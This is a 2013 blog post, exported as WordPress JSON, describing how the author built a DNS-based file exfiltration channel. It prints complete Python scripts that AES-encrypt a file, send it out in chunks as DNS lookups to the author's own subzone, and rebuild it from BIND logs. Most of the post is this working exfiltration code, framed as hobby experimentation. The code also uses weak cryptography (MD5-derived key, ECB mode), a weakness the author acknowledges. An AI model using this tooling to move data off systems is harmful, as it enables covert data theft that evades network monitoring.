{"id":122,"date":"2013-09-10T18:25:13","date_gmt":"2013-09-10T18:25:13","guid":{"rendered":"http:\/\/www.hackwhackandsmack.com\/?p=122"},"modified":"2013-09-16T07:44:41","modified_gmt":"2013-09-16T07:44:41","slug":"file-exfiltration-through-dns-pycrypt","status":"publish","type":"post","link":"https:\/\/www.hackwhackandsmack.com\/?p=122","title":{"rendered":"File Exfiltration Through DNS + Pycrypto"},"content":{"rendered":"<p>Sometimes you come across someone elses blog and think that&#8217;s pretty cool I should go build that&#8230;. well I came across Exfiltrate Files With DNS and found it rather interesting &#8211; the link can be found here <a href=\"http:\/\/16s.us\/dns\/\">http:\/\/16s.us\/dns\/<\/a>. I decided that I really wanted to build this and make it work. I already have a cloud server and a domain name so it was just a case of creating a subzone and redirecting requests to the subzone(dns name server). I then installed BIND9 on my cloud server to answer the requests when they come in to the subzone.<\/p>\n<p>I only encountered one issue when building the solution and that was that the parsing of the reassemble script was capturing the wrong string during the FQDN split. This was trivial to fix and I carried on and got a working solution that was transferring files which by the way is just awesome!!<\/p>\n<p>I have been messing with python and was looking for something to play with so decided that it might be quite cool to implement an encryption phase that then requires a key to decrypt the file on the other side.<\/p>\n<p>The downsides:<\/p>\n<p>Both sides need to support python-dev and pycrypto&#8230;. well in my amendments to the script.<\/p>\n<p>The upside:<\/p>\n<p>An encrypted chat service or method for moving files should all the prereqs be met. As this is me just messing around I am happy to have as many prereqs as required to run the program.<\/p>\n<p>So with the same base infrastructure in place and pycrypto installed on either end I put togeather the following:<\/p>\n<p>The following script encrypts the data and encodes in base64 before sending across in a domain request.<\/p>\n<p><span style=\"color: #808080;\"><em>#!\/usr\/bin\/env python<\/em><\/span><\/p>\n<p><span style=\"color: #808080;\">from Crypto.Cipher import AES<\/span><\/p>\n<p><span style=\"color: #808080;\">import base64<\/span><\/p>\n<p><span style=\"color: #808080;\">import socket<\/span><\/p>\n<p><span style=\"color: #808080;\">from Crypto.Hash import MD5<\/span><\/p>\n<p><span style=\"color: #808080;\">\u00a0<\/span><\/p>\n<p><span style=\"color: #808080;\">DNS_ZONE = &#8220;file.hackwhackandsmack.com&#8221;<\/span><\/p>\n<p><span style=\"color: #808080;\">socket.setdefaulttimeout(1)<\/span><\/p>\n<p><span style=\"color: #808080;\">\u00a0<\/span><\/p>\n<p><span style=\"color: #808080;\">#static password can be taken as an input later<\/span><\/p>\n<p><span style=\"color: #808080;\">password = (&#8216;Works for me!!&#8217;)<\/span><\/p>\n<p><span style=\"color: #808080;\">#generate a 32 bit key<\/span><\/p>\n<p><span style=\"color: #808080;\">secret = MD5.new(password).hexdigest()<\/span><\/p>\n<p><span style=\"color: #808080;\">\u00a0<\/span><\/p>\n<p><span style=\"color: #808080;\">#specify blocksize<\/span><\/p>\n<p><span style=\"color: #808080;\">BLOCK_SIZE = 32<\/span><\/p>\n<p><span style=\"color: #808080;\">#padding character<\/span><\/p>\n<p><span style=\"color: #808080;\">PADDING = &#8216;A&#8217;<\/span><\/p>\n<p><span style=\"color: #808080;\">pad = lambda s: s + (BLOCK_SIZE &#8211; len(s) % BLOCK_SIZE) * PADDING<\/span><\/p>\n<p><span style=\"color: #808080;\">EncodeAES = lambda c, s: base64.urlsafe_b64encode(c.encrypt(pad(s)))<\/span><\/p>\n<p><span style=\"color: #808080;\">\u00a0<\/span><\/p>\n<p><span style=\"color: #808080;\">cipher = AES.new(secret)<\/span><\/p>\n<p><span style=\"color: #808080;\">\u00a0<\/span><\/p>\n<p><span style=\"color: #808080;\">def break_file(filename):<\/span><\/p>\n<p><span style=\"color: #808080;\">try:<\/span><\/p>\n<p><span style=\"color: #808080;\">fp = file(filename, &#8216;rb&#8217;)<\/span><\/p>\n<p><span style=\"color: #808080;\">part = 0<\/span><\/p>\n<p><span style=\"color: #808080;\">while 1:<\/span><\/p>\n<p><span style=\"color: #808080;\">data = fp.read(32)<\/span><\/p>\n<p><span style=\"color: #808080;\">if data:<\/span><\/p>\n<p><span style=\"color: #808080;\">try:<\/span><\/p>\n<p><span style=\"color: #808080;\">encoded = EncodeAES(cipher, data)<\/span><\/p>\n<p><span style=\"color: #808080;\">part = part+1<\/span><\/p>\n<p><span style=\"color: #808080;\">print part<\/span><\/p>\n<p><span style=\"color: #808080;\">print &#8216;Encrypted string:&#8217;, encoded<\/span><\/p>\n<p><span style=\"color: #808080;\">socket.gethostbyname(encoded + DNS_ZONE)<\/span><\/p>\n<p><span style=\"color: #808080;\">except Exception:<\/span><\/p>\n<p><span style=\"color: #808080;\">continue<\/span><\/p>\n<p><span style=\"color: #808080;\">else:<\/span><\/p>\n<p><span style=\"color: #808080;\">print &#8220;Complete&#8221;<\/span><\/p>\n<p><span style=\"color: #808080;\">break<\/span><\/p>\n<p><span style=\"color: #808080;\">fp.close()<\/span><\/p>\n<p><span style=\"color: #808080;\">except Exception, e:<\/span><\/p>\n<p><span style=\"color: #808080;\">print e<\/span><\/p>\n<p><span style=\"color: #808080;\">\u00a0<\/span><\/p>\n<p><span style=\"color: #808080;\">#run<\/span><\/p>\n<p><span style=\"color: #808080;\">break_file(&#8216;test.txt&#8217;)<\/span><\/p>\n<p><span style=\"color: #808080;\">##EOF##<\/span><\/p>\n<p>&nbsp;<\/p>\n<p>To reassemble on the other side I used the following code:<\/p>\n<p>&nbsp;<\/p>\n<p><em><span style=\"color: #808080;\">from Crypto.Cipher import AES<\/span><\/em><\/p>\n<p><span style=\"color: #888888;\"><em>import base64<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>from Crypto.Hash import MD5<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>\u00a0<\/em><\/span><em style=\"color: #888888;\">password = (&#8216;Works for me!!&#8217;)<\/em><\/p>\n<p><span style=\"color: #888888;\"><em>secret = MD5.new(password).hexdigest()<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>BLOCK_SIZE = 32<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>PADDING = &#8216;A&#8217;<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>pad = lambda s: s + (BLOCK_SIZE &#8211; len(s) % BLOCK_SIZE) * PADDING<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>DecodeAES = lambda c, e: c.decrypt(base64.urlsafe_b64decode(e)).rstrip(PADDING)<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>cipher = AES.new(secret)<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>file_chunks = []<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>def back(chunk):<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>encoded = chunk.split(&#8220;.&#8221;)[0]<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>decoded = DecodeAES(cipher, encoded)<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>file_chunks.append(decoded)<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>queries = []<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>fp = open(&#8220;log-encrypt.txt&#8221;)<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>lines = fp.readlines()<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>fp.close()<\/em><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #888888;\"><em>for line in lines:<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>if &#8220;file.hackwhackandsmack.com&#8221; in line:<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>if &#8220;cache&#8221; in line:<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>FQDN = line.split()[9]<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>queries.append(FQDN.strip())<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>\u00a0<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>uqueries = set(queries)<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>\u00a0<\/em><\/span><em style=\"color: #888888;\">for i in uqueries:<\/em><\/p>\n<p><span style=\"color: #888888;\"><em>back(i)<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>\u00a0<\/em><\/span><em style=\"color: #888888;\">file_list = reversed(file_chunks)<\/em><\/p>\n<p><span style=\"color: #888888;\"><em>file = &#8220;&#8221;.join(file_list)<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>print file<\/em><\/span><\/p>\n<p><span style=\"color: #888888;\"><em>##EOF##<\/em><\/span><\/p>\n<p>&nbsp;<\/p>\n<p>This is definetly not the best implementation of AES but it works and meets my minimum requirements that I set out at the start. Time at the moment will impact any further improvement in the near future.<\/p>\n<ul>\n<li>Improvements would include:<\/li>\n<li>Adding a salt to the password hash.<\/li>\n<li>Adding an IV or nonce to the encryption algorithm.<\/li>\n<li>Change encryption mode from default ECB.<\/li>\n<li>Reading multiple files into the same logfile by using start and end of file markers.<\/li>\n<\/ul>\n<p>I also really liked the &#8216;part&#8217; section that was initially used to mark out the placement of the file chunks in the correct order. On myscript I just reverse the order of the array and pray to god that it comes through in the correct order ;-P<\/p>\n<p>A demo of my script then:<\/p>\n<p>The first screenshot details the initial running of the script and some verbose log messages of the file chunks:<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignleft  wp-image-133\" title=\"dns-script-run-1\" src=\"http:\/\/www.hackwhackandsmack.com\/wp-content\/uploads\/2013\/09\/dns-script-run-13.png\" alt=\"\" width=\"343\" height=\"89\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>The following is a screenshot of the logs taken from the bind service (this is just a section of the log file):<\/p>\n<p><a href=\"http:\/\/www.hackwhackandsmack.com\/wp-content\/uploads\/2013\/09\/dns-script-logs-12.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignleft  wp-image-140\" title=\"dns-script-logs-1\" src=\"http:\/\/www.hackwhackandsmack.com\/wp-content\/uploads\/2013\/09\/dns-script-logs-12.png\" alt=\"\" width=\"537\" height=\"49\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Lastly lets decrypt the file generated from the logs:<\/p>\n<p><a href=\"http:\/\/www.hackwhackandsmack.com\/wp-content\/uploads\/2013\/09\/dns-script-decode-11.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignleft  wp-image-135\" title=\"dns-script-decode-1\" src=\"http:\/\/www.hackwhackandsmack.com\/wp-content\/uploads\/2013\/09\/dns-script-decode-11.png\" alt=\"\" width=\"247\" height=\"70\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Hope this is useful to someone. Enjoy<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sometimes you come across someone elses blog and think that&#8217;s pretty cool I should go build that&#8230;. well I came across Exfiltrate Files With DNS and found it rather interesting &#8211; the link can be found here http:\/\/16s.us\/dns\/. I decided that I really wanted to build this and make it work. I already have a&hellip; <a class=\"more-link\" href=\"https:\/\/www.hackwhackandsmack.com\/?p=122\">Continue reading <span class=\"screen-reader-text\">File Exfiltration Through DNS + Pycrypto<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/www.hackwhackandsmack.com\/index.php?rest_route=\/wp\/v2\/posts\/122"}],"collection":[{"href":"https:\/\/www.hackwhackandsmack.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.hackwhackandsmack.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.hackwhackandsmack.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.hackwhackandsmack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=122"}],"version-history":[{"count":21,"href":"https:\/\/www.hackwhackandsmack.com\/index.php?rest_route=\/wp\/v2\/posts\/122\/revisions"}],"predecessor-version":[{"id":149,"href":"https:\/\/www.hackwhackandsmack.com\/index.php?rest_route=\/wp\/v2\/posts\/122\/revisions\/149"}],"wp:attachment":[{"href":"https:\/\/www.hackwhackandsmack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=122"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.hackwhackandsmack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=122"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.hackwhackandsmack.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=122"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}